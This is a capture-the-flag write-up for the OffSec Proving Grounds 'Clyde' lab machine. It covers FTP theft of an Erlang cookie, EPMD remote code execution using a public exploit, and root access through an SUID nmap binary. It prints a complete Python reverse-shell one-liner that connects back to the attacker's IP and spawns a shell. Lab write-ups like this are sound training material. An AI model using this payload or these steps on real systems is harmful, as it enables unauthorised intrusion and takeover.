---
description: Writeup for Clyde from offsec Proving Grounds
---

# Clyde

## Information Gathering

`sudo ./nmapAutomator.sh 192.168.141.68 all`

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FGuExB21CtOZl7lVylXLn%2Fimage.png?alt=media\&token=4fef48bd-c79f-4998-a4bc-cbb6e777ed28)

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2F1y6PO7qNLO2Xsk2Qy9ud%2Fimage.png?alt=media\&token=6812255c-5ddc-4ea5-b8f7-bc92ec78d038)

### Service Enumeration

### HTTP (Port 80)

Doesn't look like there's much here, but we run `gobuster` either ways to see if we find anything interesting.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2F4JMFyp8iMVNeqWzEFSuo%2Fimage.png?alt=media\&token=48728f7f-abc7-4fce-834d-56ebb323f0eb)

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FtgBWWKeO5oaQCwLyd3HI%2Fimage.png?alt=media\&token=ab1f4b05-f5d7-439c-9782-be691ecbac4a)

Hmmm...seems like a dead-end, lets see what else we can find on other ports.

### Erlang Port Mapper Daemon (Port 4369)

The erlang port mapper daemon is used to coordinate distributed erlang instances which keeps track of which node name listens on which address.

A quick google search and we find out that if we are able to find the authentication cookie on this machine, we can get RCE. Let's note down the cookie name to be `.erlang.cookie`&#x20;

{% embed url="https://www.exploit-db.com/exploits/46024" %}

### HTTP (Port 15672)

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2Fgl8sTyu5SRqJ4r8OL0r8%2Fimage.png?alt=media\&token=379e5713-50be-4f7e-a738-d4d41e7cba5c)

We try to log in using the default credentials `guest:guest` but are unsuccessful.

### FTP (Port 21)

Since anonymous login is allowed, we can see what files are available here. We immediately notice the `rabitmq`directory which is the CMS running on port 15672.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FSTUv29yiwcUPxB3EcraZ%2Fimage.png?alt=media\&token=1cf62845-15be-4aeb-851c-9ca524a563ee)

When we enter this directory and list its contents, we see that there is the file `.erlang.cookie` which can be used to gain RCE through Erlang Port Mapper Daemon Exploit.

&#x20;

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2F3L0Q7UNDoIGv8wwjZrYL%2Fimage.png?alt=media\&token=b5ffeaa0-eaee-46a2-8436-bc06512d4ed3)

We download `.erlang.cookie` to our attack machine.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2F3xNkdj2gIOBrJZfVQkdN%2Fimage.png?alt=media\&token=0239b810-ea4f-4567-9b33-c91f98cd14d7)

## Exploit

{% embed url="https://www.exploit-db.com/exploits/49418" %}

First, we make changes in the script on lines 22-24 to specify the target and cookie value. We can then change the CMD variable to any command we want.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2F6Rb12a9AbyCgOTn9cirf%2Fimage.png?alt=media\&token=86bd19ed-9e38-4d9d-a97b-d7d27e5729c9)

We first check if there is python on this target so we can use python to get our reverse shell.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2Fpv2wJYYopIKWeeegVvxm%2Fimage.png?alt=media\&token=419f6966-02b5-425e-83a2-80d94ea6842f)



Seem like there's python so we can use python to get our reverse shell. Note that we have to use the escape character as there are many quotation marks used.

Payload: `"python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.141",53));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"`

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FSvW74ACl3H80RR4cJibE%2Fimage.png?alt=media\&token=7045ae8f-0178-4040-8011-77e61eff13e9)

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2Fv3F5C4PajWrOwHPcNkPo%2Fimage.png?alt=media\&token=3b144c53-5be1-4f48-9258-f9b171dcea27)

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FfMXmXAZQa9gT5i3YAI5L%2Fimage.png?alt=media\&token=f7d09b04-8688-45e7-9514-93f3a6154509)

## Privesc

Running LinEnum on the target, we notice an interesting SUID file.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2F26R5wAjvROqPoQiQxgMX%2Fimage.png?alt=media\&token=d66dda2d-08c0-4c89-aed4-92d9c8b7ffa9)

{% embed url="https://gtfobins.github.io/gtfobins/nmap#suid" %}

And we got root!

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FOgdAehe9VyN0sWX579gs%2Fimage.png?alt=media\&token=f73e41e7-aa83-4d6d-80c7-3747b9e7f8bc)
